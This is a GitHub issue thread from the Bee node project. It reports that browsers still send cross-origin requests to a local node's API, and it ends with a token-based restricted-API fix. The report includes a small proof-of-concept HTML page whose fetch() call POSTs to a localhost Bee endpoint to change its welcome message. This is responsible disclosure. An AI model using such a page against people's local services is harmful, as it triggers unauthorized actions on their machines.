Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Jump to bottom

Unauthorized localhost access #1422

Closed
agazso opened this issue Mar 11, 2021 · 9 comments · Fixed by #2400
Closed

Unauthorized localhost access #1422

agazso opened this issue Mar 11, 2021 · 9 comments · Fixed by #2400
Labels
issue

Comments

@agazso
Copy link
Member

agazso commented Mar 11, 2021 •
edited
Loading

It seem that disabling CORS only stops the browser from receiving the response, but not from making it completely. For example as a test if I open this link in Chrome, it sets the welcome message of my locally running Bee node to empty string, never mind how cors-allowed-origins is set 😬

https://test.felfele.org/cors.html?bee=http://localhost:1635/welcome-message&method=POST&body={%22welcome-message%22:%22cors%22}

Tested on:
Chrome 89 - unauthorized access ❌
Firefox 86 - unauthorized access ❌
Safari 13 - blocked ✅
Brave 1.21.74 Chromium 89 - unauthorized access ❌

The content of the cors.html:

<html>
<script>
    window.onload = function () {
        const urlParams = new URLSearchParams(window.location.search)
        const url = urlParams.get('bee') || window.location.origin
        const method = urlParams.get('method') || undefined
        const body = urlParams.get('body') || undefined
        const mode = urlParams.get('mode') || undefined
        fetch(url, { method, body, mode }).then(console.debug)
    }
</script>

</html>

Originally posted by @agazso in #1421 (comment)
@bee-runner bee-runner bot added the issue label Mar 11, 2021
@Eknir
Copy link
Contributor

Eknir commented Mar 12, 2021

@agazso, can you please verify whether this is fied by #1421?
Thanks for reporting!

@agazso
Copy link
Member Author

agazso commented Mar 12, 2021

No, that is a related but different issue. #1421 was about that earlier the CORS headers were incorrectly configured and that PR fixed that.

Here I'm reporting that even the CORS headers are set correctly, some browsers (Chrome and Firefox) still make a request and that can have potentially malicious or dangerous effect. This is demonstrated with the link, if you click it on Chrome and have a local Bee node running, then it will change the welcome message to the empty string.

@Eknir
Copy link
Contributor

Eknir commented Mar 26, 2021

some solution was suggested here (api token)

@acud
Copy link
Member

acud commented Aug 10, 2021

@agazso is there any problem to solve here? i guess that some of this stuff will be resolved by the authorized api but not sure if there's anything to follow up on here. if not then please let's close this

@agazso
Copy link
Member Author

agazso commented Aug 12, 2021

It will be resolved by the authorized api. I suggest to close this issue once that is implemented.

@notanatol
Copy link
Contributor

After some discussion with @agazso and @nugaon it was decided to move ahead with the smallest subset of functionalities that would allow the JS team to explore to what extent a simple RBAC solution would cover their use cases as DAPP developers.

It is implemented as a global policy that has role/resource/action granularity.

At the moment the policies are hard coded, however in the future they can be transparently moved to an external file.

The reason it is hard coded is that we don't have a strategy or recommendation for the DAPP developers on how to migrate their policy files when new endpoints are added, or default policies are changed for existing endpoints.

Security levels

By default the bee instance will boot in insecured mode, allowing access to all current APIs in the same way it always has been.

If the -restricted command line flag is provided - it will apply the default (hard coded) security policies and access to all the APIs will be restricted and token based.

Modus operandi

This solution introduces two configuration params for the admin username and password, that can be used for the Basic authentication (alongside a role) when requesting a security token.

Upon successful authentication a new token will be generated and stored in the memory of the bee instance.

The token must be presented to the API on every request in order to gain access to the resources allowed by its corresponding role.

At the moment it only contains the role and expiration time, however it can be extended to have a counter or any other extra trackers to measure allowance, for instance.

Alternative

A dedicated proxy (side car) service could be implemented to take care of the security/allowance. This approach would require securing the bee instance by some other means (firewall rules) and then interacting with it exclusively via the side-car proxy.

Due to uncertainty we decided to go with the bee side security. This would allow us to see to what extent this solution fits us and give us more empirical data to make a better decision.

@acud acud added pinned and removed pinned labels Sep 9, 2021
@github-actions
Copy link

This issue is stale because it has been open 60 days with no activity. Remove stale label or comment or this will be closed in 5 days.

@aloknerurkar
Copy link
Contributor

@notanatol Can we link the PR with this issue? Maybe close this if its merged already.

@acud
Copy link
Member

acud commented Nov 30, 2021

@agazso can we close?

@notanatol notanatol linked a pull request Nov 30, 2021 that will close this issue
feat: restricted APIs #2400
Merged
@agazso agazso closed this as completed Nov 30, 2021
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Assignees
No one assigned
Labels
issue
Projects
None yet
Milestone
No milestone
Development

Successfully merging a pull request may close this issue.

feat: restricted APIs ethersphere/bee
5 participants
@agazso @aloknerurkar @acud @Eknir @notanatol